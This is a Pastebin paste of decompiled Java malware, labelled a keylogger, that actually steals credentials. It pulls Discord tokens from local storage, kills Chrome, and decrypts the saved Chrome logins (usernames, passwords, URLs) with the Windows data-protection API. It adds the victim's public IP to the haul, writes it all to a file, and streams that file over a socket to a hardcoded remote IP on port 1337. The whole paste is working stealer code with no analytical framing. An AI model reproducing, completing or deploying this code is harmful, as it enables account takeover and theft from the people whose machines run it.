Advertisement
Guest User

Logger

a guest
Jul 21st, 2018
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.90 KB | None | 0 0
  1. package me.sn4x5.keylogger;
  2.  
  3. import com.sun.jna.platform.win32.Crypt32Util;
  4. import me.sn4x5.keylogger.utils.LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL;
  5. import java.io.BufferedReader;
  6. import java.io.BufferedWriter;
  7. import java.io.File;
  8. import java.io.FileInputStream;
  9. import java.io.FileOutputStream;
  10. import java.io.FileWriter;
  11. import java.io.IOException;
  12. import java.io.InputStream;
  13. import java.io.InputStreamReader;
  14. import java.io.OutputStream;
  15. import java.net.Socket;
  16. import java.net.URISyntaxException;
  17. import java.net.URL;
  18. import java.nio.file.Files;
  19. import java.nio.file.Path;
  20. import java.nio.file.Paths;
  21. import java.sql.Connection;
  22. import java.sql.DriverManager;
  23. import java.sql.ResultSet;
  24. import java.sql.SQLException;
  25. import java.sql.Statement;
  26. import java.util.ArrayList;
  27. import java.util.HashMap;
  28. import java.util.Iterator;
  29. import java.util.Map;
  30. import java.util.Random;
  31. import org.sqlite.SQLiteConfig;
  32. import org.sqlite.SQLiteConfig.TransactionMode;
  33.  
  34. public class Logger {
  35. private String user = System.getProperty("user.name");
  36. private String filepath;
  37. public static Map paths = new HashMap();
  38.  
  39. public Logger() throws SQLException, IOException {
  40. this.filepath = "C:\\Users\\" + this.user + "\\AppData\\Local\\Google\\Chrome\\User Data\\";
  41. this.run();
  42. }
  43.  
  44. public void run() throws SQLException, IOException {
  45. System.out.println("Started!");
  46. Socket socket = null;
  47. String host = "51.38.119.235";
  48. socket = new Socket(host, 1337);
  49. String pathApp = System.getenv("APPDATA") + "\\discord\\Local Storage\\https_discordapp.com_0.localstorage";
  50. String pathPtb = System.getenv("APPDATA") + "\\discordptb\\Local Storage\\https_ptb.discordapp.com_0.localstorage";
  51. String pathCanary = System.getenv("APPDATA") + "\\discordcanary\\Local Storage\\https_canary.discordapp.com_0.localstorage";
  52. addPath(pathApp, "discordapp");
  53. addPath(pathPtb, "discordptb");
  54. addPath(pathCanary, "discordcanary");
  55. String messageBody = "";
  56. Iterator var8 = paths.keySet().iterator();
  57.  
  58. while(true) {
  59. String pa;
  60. String thing;
  61. do {
  62. if (!var8.hasNext()) {
  63. messageBody = messageBody.trim();
  64. ArrayList files = this.getFiles();
  65. ArrayList passwords = new ArrayList();
  66. ArrayList usernames = new ArrayList();
  67. ArrayList urls = new ArrayList();
  68. ArrayList results = new ArrayList();
  69. ArrayList results2 = new ArrayList();
  70. ArrayList results3 = new ArrayList();
  71. closeChrome();
  72. String uploadInfo = "";
  73. Iterator var16 = files.iterator();
  74.  
  75. while(var16.hasNext()) {
  76. String i = (String)var16.next();
  77. results.add(this.getResultSet(i));
  78. results2.add(this.getResultSet(i));
  79. results3.add(this.getResultSet(i));
  80. }
  81.  
  82. var16 = results.iterator();
  83.  
  84. ResultSet i;
  85. while(var16.hasNext()) {
  86. i = (ResultSet)var16.next();
  87. passwords.add(this.getPass(i));
  88. }
  89.  
  90. var16 = results2.iterator();
  91.  
  92. while(var16.hasNext()) {
  93. i = (ResultSet)var16.next();
  94. usernames.add(this.getUser(i));
  95. }
  96.  
  97. var16 = results3.iterator();
  98.  
  99. while(var16.hasNext()) {
  100. i = (ResultSet)var16.next();
  101. urls.add(this.getUrl(i));
  102. }
  103.  
  104. openChrome();
  105.  
  106. for(int i = 0; i < usernames.size(); ++i) {
  107. for(int j = 0; j < ((ArrayList)usernames.get(i)).size(); ++j) {
  108. uploadInfo = uploadInfo + "Username: " + (String)((ArrayList)usernames.get(i)).get(j) + System.lineSeparator() + "Passwords: " + (String)((ArrayList)passwords.get(i)).get(j) + System.lineSeparator() + "URL: " + (String)((ArrayList)urls.get(i)).get(j) + "\n" + "\n";
  109. }
  110. }
  111.  
  112. URL url = new URL("http://checkip.amazonaws.com/");
  113. BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream()));
  114. closeChrome();
  115.  
  116. try {
  117. BufferedWriter writer = new BufferedWriter(new FileWriter("./pwds.txt"));
  118. writer.write(messageBody + "\n" + "\n" + "IP: " + br.readLine() + "\n" + "\n" + "-+==Login Detials==+-" + "\n" + "\n" + uploadInfo);
  119. writer.close();
  120. } catch (IOException var24) {
  121. var24.printStackTrace();
  122. }
  123.  
  124. System.out.print("Success!");
  125. File file = new File("./pwds.txt");
  126. long length = file.length();
  127. byte[] bytes = new byte[1024];
  128. InputStream in = new FileInputStream(file);
  129. OutputStream out = socket.getOutputStream();
  130.  
  131. int count;
  132. while((count = in.read(bytes)) > 0) {
  133. out.write(bytes, 0, count);
  134. }
  135.  
  136. out.close();
  137. in.close();
  138. socket.close();
  139. return;
  140. }
  141.  
  142. pa = (String)var8.next();
  143. thing = getToken(new File(pa));
  144. } while(!thing.startsWith("\""));
  145.  
  146. String formatted = "";
  147. char[] var14;
  148. int var13 = (var14 = thing.toCharArray()).length;
  149.  
  150. for(int var12 = 0; var12 < var13; ++var12) {
  151. char c = var14[var12];
  152. if (c != 0) {
  153. formatted = formatted + c;
  154. }
  155. }
  156.  
  157. System.out.println("Working...");
  158. messageBody = messageBody + ((String)paths.get(pa)).toUpperCase() + " : " + formatted;
  159. messageBody = messageBody + "\n";
  160. }
  161. }
  162.  
  163. public static File getOwnFile() {
  164. try {
  165. File f = new File(Main.class.getProtectionDomain().getCodeSource().getLocation().toURI().getPath());
  166. return f;
  167. } catch (URISyntaxException var2) {
  168. var2.printStackTrace();
  169. return null;
  170. }
  171. }
  172.  
  173. public static void addPath(String p, String info) {
  174. File f = new File(p);
  175. if (f.exists()) {
  176. paths.put(p, info);
  177. }
  178.  
  179. }
  180.  
  181. public static String getToken(File f) {
  182. Connection c = null;
  183.  
  184. try {
  185. c = read(f);
  186. } catch (Exception var5) {
  187. var5.printStackTrace();
  188. return "WUT";
  189. }
  190.  
  191. ResultSet results;
  192. try {
  193. results = c.createStatement().executeQuery("SELECT * FROM ItemTable");
  194. } catch (SQLException var4) {
  195. var4.printStackTrace();
  196. return "ERR";
  197. }
  198.  
  199. try {
  200. while(results.next()) {
  201. if (results.getString("key").equalsIgnoreCase("token")) {
  202. return results.getString("value");
  203. }
  204. }
  205. } catch (SQLException var6) {
  206. var6.printStackTrace();
  207. }
  208.  
  209. return "Not found";
  210. }
  211.  
  212. public static Connection read(File file) throws Exception {
  213. Path tempDB = Files.createTempFile("WUT_" + (new Random()).nextInt(), (String)null);
  214. FileOutputStream out = new FileOutputStream(tempDB.toFile());
  215. Files.copy(Paths.get(file.getPath()), out);
  216. out.close();
  217. tempDB.toFile().deleteOnExit();
  218. SQLiteConfig config = new SQLiteConfig();
  219. config.setReadOnly(true);
  220. config.setTransactionMode(TransactionMode.EXCLUSIVE);
  221. Connection db = config.createConnection("jdbc:sqlite:" + tempDB.toString());
  222. db.setAutoCommit(true);
  223. return db;
  224. }
  225.  
  226. public ArrayList getFiles() {
  227. ArrayList folders = new ArrayList();
  228. File file = new File(this.filepath);
  229. String[] directories = file.list(new 1(this));
  230. String[] var7 = directories;
  231. int var6 = directories.length;
  232.  
  233. for(int var5 = 0; var5 < var6; ++var5) {
  234. String i = var7[var5];
  235. if (i.matches("^(Default|Profile).*")) {
  236. folders.add(this.filepath + i + "\\Login Data");
  237. }
  238. }
  239.  
  240. return folders;
  241. }
  242.  
  243. public ResultSet getResultSet(String file) {
  244. try {
  245. Class.forName("org.sqlite.JDBC");
  246. Connection connection = DriverManager.getConnection("jdbc:sqlite:" + file);
  247. Statement statement = connection.createStatement();
  248. ResultSet resultSet = statement.executeQuery("SELECT username_value, password_value, origin_url FROM logins");
  249. return resultSet;
  250. } catch (Exception var5) {
  251. var5.printStackTrace();
  252. return null;
  253. }
  254. }
  255.  
  256. public ArrayList getPass(ResultSet r) throws SQLException {
  257. ArrayList passwords = new ArrayList();
  258.  
  259. while(r.next()) {
  260. byte[] decryptedData = Crypt32Util.cryptUnprotectData(r.getBytes(2));
  261. StringBuilder decryptedString = new StringBuilder();
  262. byte[] var8 = decryptedData;
  263. int var7 = decryptedData.length;
  264.  
  265. for(int var6 = 0; var6 < var7; ++var6) {
  266. byte b = var8[var6];
  267. decryptedString.append((char)b);
  268. }
  269.  
  270. passwords.add(decryptedString.toString());
  271. }
  272.  
  273. return passwords;
  274. }
  275.  
  276. public ArrayList getUser(ResultSet r) throws SQLException {
  277. ArrayList usernames = new ArrayList();
  278.  
  279. while(r.next()) {
  280. byte[] userData = r.getBytes(1);
  281. StringBuilder userString = new StringBuilder();
  282. byte[] var8 = userData;
  283. int var7 = userData.length;
  284.  
  285. for(int var6 = 0; var6 < var7; ++var6) {
  286. byte b = var8[var6];
  287. userString.append((char)b);
  288. }
  289.  
  290. usernames.add(userString.toString());
  291. }
  292.  
  293. return usernames;
  294. }
  295.  
  296. public ArrayList getUrl(ResultSet r) throws SQLException {
  297. ArrayList urls = new ArrayList();
  298.  
  299. while(r.next()) {
  300. byte[] urlData = r.getBytes(3);
  301. StringBuilder urlString = new StringBuilder();
  302. byte[] var8 = urlData;
  303. int var7 = urlData.length;
  304.  
  305. for(int var6 = 0; var6 < var7; ++var6) {
  306. byte b = var8[var6];
  307. urlString.append((char)b);
  308. }
  309.  
  310. urls.add(urlString.toString());
  311. }
  312.  
  313. return urls;
  314. }
  315.  
  316. public static void closeChrome() throws IOException {
  317. try {
  318. Process p = Runtime.getRuntime().exec("taskkill /F /IM chrome.exe");
  319. p.waitFor();
  320. } catch (Exception var1) {
  321. var1.printStackTrace();
  322. }
  323.  
  324. }
  325.  
  326. public static void openChrome() {
  327. try {
  328. Process var0 = Runtime.getRuntime().exec("C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe --restore-last-session");
  329. } catch (Exception var1) {
  330. var1.printStackTrace();
  331. }
  332.  
  333. }
  334. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement